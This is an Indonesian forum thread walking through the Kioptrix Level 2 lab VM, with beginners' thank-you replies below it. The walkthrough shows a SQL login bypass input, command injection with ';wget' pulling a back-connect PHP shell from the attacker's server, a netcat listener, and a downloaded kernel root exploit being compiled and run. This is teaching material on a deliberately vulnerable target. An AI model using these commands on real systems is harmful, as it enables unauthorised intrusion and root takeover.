BackBox Indonesia
Attacking
Privilege Escalation
Kioptrix Level 2 - Command Injection and Server Rooting

Kioptrix Level 2 - Command Injection and Server Rooting

by yuyudhn - 03-09-2016 at 02:27 AM

yuyudhn

root@linuxsec:-#

Posts:

Joined:

Mar 2016

Likes:

Reputation:

2 Year Of Member

Posted: 03-09-2016, 02:27 AM

Kali ini saya akan menulis pembahasan dari Kioptrix Level 2 Challenge. Kioptrix sendiri adalah Oracle VM Image yang dirancang khusus untuk mendalami dasar dasar dari keamanan website dan jaringan. Jadi OS nya memang didesain vulnerable. Goal dari challenge Kioptrix sendiri adalah mendapatkan root access dari OS tadi, bagaimanapun cara nya. Sehingga kita bebas untuk masuk melalui celah apapun yang terbuka.
Oke langsung saja ya.

Download Kioptrix Level 2

Jalankan di Oracle VM.

nanti tampilanya seperti ini .

Nah seperti yang terlihat, disitu kalian tidak bisa masuk ke OS nya . Harus login . Dan kita tidak tau password nya apa, sehingga untuk mendapatkan akses kedalam nya kita harus menemukan celah.

Yep.. saatnya penetrasi.

Sebagai catatan, OS yang saya gunakan adalah Ubuntu yang sudah dilengkapi dengan tools pentest dari BackBox.

Oke, pertama, kita harus tau IP dari Kioptrix ini terlebih dahulu.

Kita scan via nmap.

uzumaki@linuxsec:~$ nmap -sn 192.168.43.1/24

-sn sendiri adalah perintah ping scan, maka akan terlihat host mana saja yang up. Berhubung yang saya gunakan adalah wifi pribadi, sehingga mudah saya ditemukan ip nya.

Setelah itu, buka IP Kioptrix tadi via browser.

Kita coba bypass sql login dengan user dan password '=' 'or'

Ternyata tembus.

Bagi yang belum tau tentang Bypass SQL Login, bisa baca baca disini :

Tutorial Bypass Admin Login Website

Saya skip skip saja ya tulisannya. Di akhir tulisan nanti saya lampirkan video nya jika kurang jelas.

Setelah beberapa kali dilakukan percobaan akhirnya diketahui kalau selain untuk pelakukan ping, kolom diatas juga bisa melakukan perintah perintah linux.

Tentu saja dengan command injection.

Disini saya akan melakukan back connect sehingga saya mengupload BackConnect Shell ke target.

command nya :

;wget http://serverkita/shell.txt -O /tmp/shell.php

Kita mengupload di folder /tmp karena hanya folder itu yang writable.

Untuk Shell nya silahkan download disini :

Download Back Connect Shell

Sesuaikan sendiri untuk ip dan port nya.

Selanjutya, kita buka terminal di main OS.

masukkan command :

uzumaki@linuxsec:~$ sudo nc -l 1337

1337 adalah port yang saya gunakan untuk back connect . Sama kan dengan yang ada di shell.

Nah , di web Kioptrix nya tadi, masukkan command :

;php /tmp/shell.php

Sesuaikan dengan nama shell mu.

Maka di terminal akan terbuka shell, namun masih regular user.

Sekarang masukkan command uname -a untuk mengetahui versi kernel yang digunakan target.

Nah, kernel yang digunakan lumayan sudah tua. jadi kemungkinan ada di Exploit-DB . kalian bisa cek sendiri di exploit-db dengan memasukkan versi kernel yang tertera.

Berhubung saya punya searchsploit, saya tinggal mencari nya lewat terminal.

bagi yang ingin menginstall bisa ikuti tutorial dibawah ini :

Cara Install Searchsploit di Ubuntu Linux

Oke lanjut, masukkan command :

uzumaki@linuxsec:~$ searchsploit kernel 2.6 root

Itu keyword yang saya gunakan untuk mencari localroot kernel 2.6 yang digunakan kioptrix.

Ada banyak output nya. Saya coba yang ring0 Root Exploit.

Lalu kita copy file .c nya ke /var/www/html agar bisa didownload.

uzumaki@linuxsec:~$ cp /path/to/searchsploit/localroot.c /var/www/html/root.c

Selanjutnya dari shell yang didapat dari back connect sebelumnya, kita download dan kita compile exploit tadi.

sh-3.00$ cd /tmp

sh-3.00$ wget http://serverkita/root.c /tmp/root.c

sh-3.00$ gcc root.c -o rootme

sh-3.00$ chmod +x rootme

Lalu kita jalankan exploit nya dengan command :

sh-3.00$ ./rootme

Maka kalian akan masuk ke root.

sh-3.00# whoami

root

Misi terselesaikan..

Bagi yang kurang jelas bisa lihat video dibawah :

Mungkin kurang menantang bagi kalian yang sudah expert di bidang pentesting, tapi sekali lagi tujuan dari Kioptrix sendiri adalah untuk pembelajaran dasar, sehinga lebih diperuntukkan kepada pemula yang ingin tahu bagaimana alur serangan dilakukan.

jadi buat kalian yang masih awam, silahkan mencoba.

Sekian tutorial kali ini, semoga bermanfaat, share juga ke teman temanmu biar mereka tau.

Message

Find Posts

anongep

Junior Member

Posts:

Joined:

Mar 2016

Likes:

Reputation:

2 Year Of Member

Posted: 03-09-2016, 05:25 AM

up up up , bahan ngeblog gw udah di posting om jack duluan :3

Message

Find Posts

♔ Oncom ♔

Administrator

Posts:

Joined:

Mar 2016

Likes:

Reputation:

2 Year Of Member

Posted: 03-09-2016, 05:41 AM

mantap wajib dicoba buat pemula seperti ane bro :)

Harta, Tahta, Pevita

Message

Find Posts

cyber173

Junior Member

Posts:

Joined:

Mar 2016

Likes:

Reputation:

2 Year Of Member

Posted: 03-09-2016, 09:59 AM

up up up ahh

Message

Find Posts

Nue Bhandell

Staff

Posts:

Joined:

Mar 2016

Likes:

Reputation:

2 Year Of Member

Posted: 03-09-2016, 01:59 PM

bukak sitik crotzzz awkakwaw
tengkyu om jack..
lanjot sedot bahan2nya

Message

Find Posts

yuyudhn

root@linuxsec:-#

Posts:

Joined:

Mar 2016

Likes:

Reputation:

2 Year Of Member

Posted: 03-09-2016, 07:20 PM

yolooo. coba aja , lumayan buat belajar :D

Message

Find Posts

Code Sec7or

Satpam

Posts:

Joined:

Mar 2016

Likes:

Reputation:

2 Year Of Member

Posted: 03-10-2016, 04:35 AM

Mantab dah..
Nebi seperti ayas dapt ilmu baru lagi.
Nice info,mas. :D

Junior Member

Posts:

Joined:

Mar 2016

Likes:

Reputation:

2 Year Of Member

Posted: 03-10-2016, 05:18 AM

mantap gan, thx info nya

Message

Find Posts

Create an account

Create a free account today and start posting right away. It only takes a few seconds.

Log into an existing account.

View a Printable Version

1 Guest(s)

Forum Backbox Indonesia adalah salah satu media pembelajaran bagi siapa saja yang ingin belajar mengenai dunia Open Source khususnya untuk memperdalam Backbox Linux.